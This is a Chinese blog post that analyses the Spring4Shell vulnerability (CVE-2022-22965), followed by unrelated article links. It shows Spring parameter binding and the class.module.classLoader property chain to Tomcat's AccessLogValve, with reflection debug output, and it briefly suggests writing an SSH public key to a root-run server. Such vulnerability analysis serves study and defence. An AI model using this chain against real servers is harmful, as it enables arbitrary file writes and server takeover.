原理大致是这样:spring框架在传参的时候会与对应实体类自动参数绑定,通过“.”还可以访问对应实体类的引用类型变量。使用getClass方法,通过反射机制最终获取tomcat的日志配置成员属性,通过set方法,修改目录、内容等属性成员,达到任意文件写入的目的。

环境:

jdk9、springmvc、tomcat8

一、先看下传参:

定义2个实体类

public class User {
private String username;
private String password; public String getPassword() {
return password;
} public void setPassword(String password) {
this.password = password;
} public String getUsername() {
return username;
} public void setUsername(String username) {
this.username = username;
} public SubTest getSub(){
return new SubTest();
}
}
public class SubTest {
public void setsubfunction(String s){
System.out.println("=====");
System.out.println(s);
System.out.println("=====");
}
}

定义一个Controller类

@RestController
public class HelloController {
@RequestMapping("/rce")
@ResponseBody
public String helloTest(User user) throws IOException {
System.out.println(user.getPassword());
System.out.println(user.getUsername());
return "hello spring : ";
}
}

不管是GET还是POST,只要是Controller接受的方式都可以传参赋值。

利用POST方式,传参

POST /rce HTTP/1.1
Host: 127.0.0.1:8083
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=39A8228CB652B1A3CA4E1B49C87C40AF
Connection: close
Content-Length: 15 username=vpanda

这里username=vpanda的传参,调用了User的setUsername方法。

POST /rce HTTP/1.1
Host: 127.0.0.1:8083
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=39A8228CB652B1A3CA4E1B49C87C40AF
Connection: close
Content-Length: 25 sub.subfunction=aaaaatest

这里sub.subfunction=aaaaatest,实际调用User的getSub方法,获得SubTest对象后实现setsubfunction方法,传参aaaaatest,最终实现SubTest类型的setsubfunction。

输出

=====
aaaaatest
=====

二、接下去直接看POC的利用链:

class.module.classLoader.resources.context.parent.pipeline.first.pattern=
class.module.classLoader.resources.context.parent.pipeline.first.suffix=
class.module.classLoader.resources.context.parent.pipeline.first.directory=
class.module.classLoader.resources.context.parent.pipeline.first.prefix=
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

在这里的实现逻辑是当前user对象getclass获得了类对象,Class类中存在getModule,获得module类对象,而Module类又存在getclassloader方法,最终返回一个类加载器。

调试输出当前类加载器名称

ClassLoader classLoader = user.getClass().getModule().getClassLoader();
System.out.println("===classloader===");
System.out.println(classLoader);
System.out.println("===classloadername===");
System.out.println(classLoader.getClass().getName());
System.out.println("========");
===classloader===
ParallelWebappClassLoader
context: ROOT
delegate: false
----------> Parent Classloader:
java.net.URLClassLoader@1b7cc17c ===classloadername===
org.apache.catalina.loader.ParallelWebappClassLoader
========

通过输出结果可以看到当前对象的类加载器是org.apache.catalina.loader.ParallelWebappClassLoader,

ParallelWebappClassLoader继承WebappClassLoaderBase,WebappClassLoaderBase实现了getResources是WebResourceRoot接口类型,

WebResourceRoot接口存在getContext方法,Context接口类型,继承Container,Container实现parent和getPipeline,Pipeline接口实现getfirst,

最终得到Valve类型,通过类对象遍历所有成员。

Valve first = parallelWebappClassLoader.getResources().getContext().getParent().getPipeline().getFirst();
Class<? extends Valve> aClass = first.getClass();
System.out.println("====DeclaredFields=====");
Field[] fields = aClass.getDeclaredFields();
for (Field field : fields) {
System.out.println(field);
}
System.out.println("====Methods=====");
Method[] methods = aClass.getMethods();
for (Method method : methods) {
System.out.println(method);
}

输出结果,可以看到利用链中几个关键成员的set方法。

====DeclaredFields=====
private static final org.apache.juli.logging.Log org.apache.catalina.valves.AccessLogValve.log
private volatile java.lang.String org.apache.catalina.valves.AccessLogValve.dateStamp
private java.lang.String org.apache.catalina.valves.AccessLogValve.directory
protected volatile java.lang.String org.apache.catalina.valves.AccessLogValve.prefix
protected boolean org.apache.catalina.valves.AccessLogValve.rotatable
protected boolean org.apache.catalina.valves.AccessLogValve.renameOnRotate
private boolean org.apache.catalina.valves.AccessLogValve.buffered
protected volatile java.lang.String org.apache.catalina.valves.AccessLogValve.suffix
protected java.io.PrintWriter org.apache.catalina.valves.AccessLogValve.writer
protected java.text.SimpleDateFormat org.apache.catalina.valves.AccessLogValve.fileDateFormatter
protected java.io.File org.apache.catalina.valves.AccessLogValve.currentLogFile
private volatile long org.apache.catalina.valves.AccessLogValve.rotationLastChecked
private boolean org.apache.catalina.valves.AccessLogValve.checkExists
protected java.lang.String org.apache.catalina.valves.AccessLogValve.fileDateFormat
protected volatile java.lang.String org.apache.catalina.valves.AccessLogValve.encoding
private int org.apache.catalina.valves.AccessLogValve.maxDays
private volatile boolean org.apache.catalina.valves.AccessLogValve.checkForOldLogs
====Methods=====
public void org.apache.catalina.valves.AccessLogValve.log(java.io.CharArrayWriter)
public synchronized boolean org.apache.catalina.valves.AccessLogValve.rotate(java.lang.String)
public void org.apache.catalina.valves.AccessLogValve.rotate()
public java.lang.String org.apache.catalina.valves.AccessLogValve.getEncoding()
public void org.apache.catalina.valves.AccessLogValve.setEncoding(java.lang.String)
public void org.apache.catalina.valves.AccessLogValve.setRotatable(boolean)
public boolean org.apache.catalina.valves.AccessLogValve.isRenameOnRotate()
public java.lang.String org.apache.catalina.valves.AccessLogValve.getDirectory()
public void org.apache.catalina.valves.AccessLogValve.setCheckExists(boolean)
public void org.apache.catalina.valves.AccessLogValve.setDirectory(java.lang.String)
public boolean org.apache.catalina.valves.AccessLogValve.isRotatable()
public int org.apache.catalina.valves.AccessLogValve.getMaxDays()
public void org.apache.catalina.valves.AccessLogValve.setMaxDays(int)
public boolean org.apache.catalina.valves.AccessLogValve.isCheckExists()
public java.lang.String org.apache.catalina.valves.AccessLogValve.getFileDateFormat()
public java.lang.String org.apache.catalina.valves.AccessLogValve.getSuffix()
public void org.apache.catalina.valves.AccessLogValve.setRenameOnRotate(boolean)
public void org.apache.catalina.valves.AccessLogValve.setBuffered(boolean)
public boolean org.apache.catalina.valves.AccessLogValve.isBuffered()
public void org.apache.catalina.valves.AccessLogValve.setFileDateFormat(java.lang.String)
public void org.apache.catalina.valves.AccessLogValve.setSuffix(java.lang.String)
public synchronized void org.apache.catalina.valves.AccessLogValve.backgroundProcess()
public java.lang.String org.apache.catalina.valves.AccessLogValve.getPrefix()
public void org.apache.catalina.valves.AccessLogValve.setPrefix(java.lang.String)
public void org.apache.catalina.valves.AbstractAccessLogValve.invoke(org.apache.catalina.connector.Request,org.apache.catalina.connector.Response) throws java.io.IOException,javax.servlet.ServletException
public void org.apache.catalina.valves.AbstractAccessLogValve.log(org.apache.catalina.connector.Request,org.apache.catalina.connector.Response,long)
public int org.apache.catalina.valves.AbstractAccessLogValve.getMaxLogMessageBufferSize()
public void org.apache.catalina.valves.AbstractAccessLogValve.setMaxLogMessageBufferSize(int)
public void org.apache.catalina.valves.AbstractAccessLogValve.setLocale(java.lang.String)
public java.lang.String org.apache.catalina.valves.AbstractAccessLogValve.getLocale()
public boolean org.apache.catalina.valves.AbstractAccessLogValve.getEnabled()
public java.lang.String org.apache.catalina.valves.AbstractAccessLogValve.getCondition()
public void org.apache.catalina.valves.AbstractAccessLogValve.setCondition(java.lang.String)
public java.lang.String org.apache.catalina.valves.AbstractAccessLogValve.getPattern()
public void org.apache.catalina.valves.AbstractAccessLogValve.setConditionUnless(java.lang.String)
public void org.apache.catalina.valves.AbstractAccessLogValve.setIpv6Canonical(boolean)
public java.lang.String org.apache.catalina.valves.AbstractAccessLogValve.getConditionUnless()
public void org.apache.catalina.valves.AbstractAccessLogValve.setPattern(java.lang.String)
public boolean org.apache.catalina.valves.AbstractAccessLogValve.getIpv6Canonical()
public java.lang.String org.apache.catalina.valves.AbstractAccessLogValve.getConditionIf()
public void org.apache.catalina.valves.AbstractAccessLogValve.setConditionIf(java.lang.String)
public void org.apache.catalina.valves.AbstractAccessLogValve.setRequestAttributesEnabled(boolean)
public boolean org.apache.catalina.valves.AbstractAccessLogValve.getRequestAttributesEnabled()
public void org.apache.catalina.valves.AbstractAccessLogValve.setEnabled(boolean)
public java.lang.String org.apache.catalina.valves.ValveBase.toString()
public org.apache.catalina.Valve org.apache.catalina.valves.ValveBase.getNext()
public void org.apache.catalina.valves.ValveBase.setNext(org.apache.catalina.Valve)
public java.lang.String org.apache.catalina.valves.ValveBase.getObjectNameKeyProperties()
public void org.apache.catalina.valves.ValveBase.setContainer(org.apache.catalina.Container)
public java.lang.String org.apache.catalina.valves.ValveBase.getDomainInternal()
public org.apache.catalina.Container org.apache.catalina.valves.ValveBase.getContainer()
public boolean org.apache.catalina.valves.ValveBase.isAsyncSupported()
public void org.apache.catalina.valves.ValveBase.setAsyncSupported(boolean)
public final javax.management.ObjectName org.apache.catalina.util.LifecycleMBeanBase.getObjectName()
public final java.lang.String org.apache.catalina.util.LifecycleMBeanBase.getDomain()
public final javax.management.ObjectName org.apache.catalina.util.LifecycleMBeanBase.preRegister(javax.management.MBeanServer,javax.management.ObjectName) throws java.lang.Exception
public final void org.apache.catalina.util.LifecycleMBeanBase.postRegister(java.lang.Boolean)
public final void org.apache.catalina.util.LifecycleMBeanBase.preDeregister() throws java.lang.Exception
public final void org.apache.catalina.util.LifecycleMBeanBase.postDeregister()
public final void org.apache.catalina.util.LifecycleMBeanBase.setDomain(java.lang.String)
public final synchronized void org.apache.catalina.util.LifecycleBase.init() throws org.apache.catalina.LifecycleException
public final synchronized void org.apache.catalina.util.LifecycleBase.start() throws org.apache.catalina.LifecycleException
public final synchronized void org.apache.catalina.util.LifecycleBase.stop() throws org.apache.catalina.LifecycleException
public final synchronized void org.apache.catalina.util.LifecycleBase.destroy() throws org.apache.catalina.LifecycleException
public org.apache.catalina.LifecycleState org.apache.catalina.util.LifecycleBase.getState()
public java.lang.String org.apache.catalina.util.LifecycleBase.getStateName()
public void org.apache.catalina.util.LifecycleBase.addLifecycleListener(org.apache.catalina.LifecycleListener)
public void org.apache.catalina.util.LifecycleBase.removeLifecycleListener(org.apache.catalina.LifecycleListener)
public org.apache.catalina.LifecycleListener[] org.apache.catalina.util.LifecycleBase.findLifecycleListeners()
public boolean org.apache.catalina.util.LifecycleBase.getThrowOnFailure()
public void org.apache.catalina.util.LifecycleBase.setThrowOnFailure(boolean)
public final void java.lang.Object.wait(long,int) throws java.lang.InterruptedException
public final void java.lang.Object.wait() throws java.lang.InterruptedException
public final native void java.lang.Object.wait(long) throws java.lang.InterruptedException
public boolean java.lang.Object.equals(java.lang.Object)
public native int java.lang.Object.hashCode()
public final native java.lang.Class java.lang.Object.getClass()
public final native void java.lang.Object.notify()
public final native void java.lang.Object.notifyAll()

三、复现

在本地测试实现任意文件写入

将war包传到服务器,dnslog测试

如果使用root权限拉起了tomcat,尝试将ssh公钥写入服务器。

Spring rce CVE-2022-22965的更多相关文章

  1. Spring官宣网传大漏洞,并提供解决方案

    Spring沦陷了!这样的标题这几天是不是看腻了?然而,仔细看看都是拿着之前的几个毫不相干的CVE来大吹特吹.所以,昨天发了一篇关于最近网传的Spring大漏洞的文章,聊了聊这些让人迷惑的营销文.以及 ...

  2. Intellij IDEA 2022 正式发布,这些功能真不错

    Intellij IDEA 2022 正式发布了,作为正版用户,胖哥赶紧更新了一波,好家伙!这几个功能确实很香啊.新版更新的东西真不少,不愧是一个大版本更新. 依赖分析 IDEA的依赖检查.依赖冲突解 ...

  3. Spring 官宣发布 Spring Boot 3.0 第一个里程碑 M1,从 Java 8 提升到 Java 17!

    Spring官方于2022年1月20日发布Spring Boot 3.0.0-M1版本,预示开启了Spring Boot 3.0的里程碑,相信这是通往下一代Spring框架的激动人心的旅程. 接下来一 ...

  4. Spring 6 源码编译和高效阅读源码技巧分享

    一. 前言 Spring Boot 3 RELEASE版本于 2022年11月24日 正式发布,相信已经有不少同学开始准备新版本的学习了,不过目前还不建议在实际项目中做升级,毕竟还有很多框架和中间件没 ...

  5. Apache Dubbo 官方正式发布 Spring 6 & Spring Boot 3 支持

    Dubbo 简介 Apache Dubbo 是一款 RPC 服务开发框架,用于解决微服务架构下的服务治理与通信问题,官方提供了 Java.Golang 等多语言 SDK 实现.使用 Dubbo 开发的 ...

  6. Spring4Shell的漏洞原理分析

    Spring框架最新的PoC 这两天出来的一个RCE漏洞,但是有以下的条件限制才行: 必须是jdk9及以上 必须是部署在tomcat的应用 是springmvc的或者webflux的应用 具体的可以查 ...

  7. 警惕!Python 中少为人知的 10 个安全陷阱!

    作者:Dennis Brinkrolf 译者:豌豆花下猫@Python猫 原题:10 Unknown Security Pitfalls for Python 英文:https://blog.sona ...

  8. SpringBoot3正式版将于11月24日发布:都有哪些新特性?

    从 2018 年 2 月 28 号发布 Spring Boot 2.0 版本开始,整个 2.X 版本已经经过了 4 年多的时间,累计发布了 95 个不同的版本,而就在前不久,2.X 系列的也已经迎来了 ...

  9. 是时候考虑升级 JDK 17 了

    Spring,作为 Java EE 的事实规范,在2022年11月16日发布了最新的 6.0.0 GA 版本.这个版本是框架后续新生代的初始版本,拥抱持续创新的 OpenJDK 和 Java 生态.新 ...

  10. Nacos详解

    Nacos是什么 欢迎来到Nocos的世界! 组成部分 全称 描述 Na naming/nameServer 即服务注册中心,与 Spring Cloud Eureka 的功能类似. co confi ...

随机推荐

  1. [转帖]命令行参数--与-D的区别

    https://juejin.cn/post/7238420276228341815   Spring Boot 学习笔记 我们要想了解这两者之间的差异,首先来看一个案例:   bash 复制代码 # ...

  2. [转帖]OceanBase 中租户管理

    https://zhuanlan.zhihu.com/p/464504887 概述 租户的概念类似于传统数据库的数据库实例.租户也叫实例,拥有一定的资源能力(如CPU.内存和空间).租户下可以建立数据 ...

  3. [转帖]是什么让 Redis“气急败坏”回击:13 年来,总有人想替 Redis 换套新架构

    https://www.infoq.cn/article/AlF5NIhHdskayl0MTyQG 回击就代表输了?! 今年年中,一位前谷歌.前亚马逊的工程师推出了他创作的开源内存数据缓存系统 Dra ...

  4. [转帖]Oracle如何重启mmon/mmnl进程(AWR自动采集)

    https://www.cnblogs.com/jyzhao/p/10119854.html 学习一下 环境:Oracle 11.2.0.4 RAC现象:sysaux空间满导致无法正常生成快照,清理空 ...

  5. [转帖]CKA 真题

    https://segmentfault.com/a/1190000021380185   1.列出pod并排序 kubectl get pod --sort-by .metadata.name 题目 ...

  6. 【转贴】2019.3 学习向SP打造指南 篇一:微软神器Surface产品线全系列详细介绍

    学习向SP打造指南 篇一:微软神器Surface产品线全系列详细介绍 2019-03-01 22:30:00 161点赞 699收藏 141评论 https://post.smzdm.com/p/a5 ...

  7. 给无网络的CentOS服务器下载rpm包的一个解决办法

    很多公司的服务器为了安全都在内网, 是无法直接连接互联网的, 无法连接互联网就无法使用yum等的包管理器安装rpm包等. 有时候一些rpm包还是能很好的提高性能的, 所以可以使用多种方式获取rpm包进 ...

  8. Redis7.0 编译安装以及简单创建Cluster测试服务器的方法

    背景 北京时间2022.4.27 晚上九点半左右, Redis 7.0.0 已经GA. 为了进行简单的学习, 这边进行了简单验证工作. 本次主要分为编译, 测试集群搭建,以及springboot进行简 ...

  9. 【JS 逆向百例】复杂的登录过程,最新WB逆向

    声明 本文章中所有内容仅供学习交流,抓包内容.敏感网址.数据接口均已做脱敏处理,严禁用于商业用途和非法用途,否则由此产生的一切后果均与作者无关,若有侵权,请联系我立即删除! 逆向目标 本次的逆向目标是 ...

  10. 通过Unity导出的Android Studio和Google安卓原生工程的结构图对比

    使用Unity导出Android Studio工程前建议查看我之前的文章<Unity2019及Unity2020打包android的环境配置>,替换或修改Unity安装目录下的basePr ...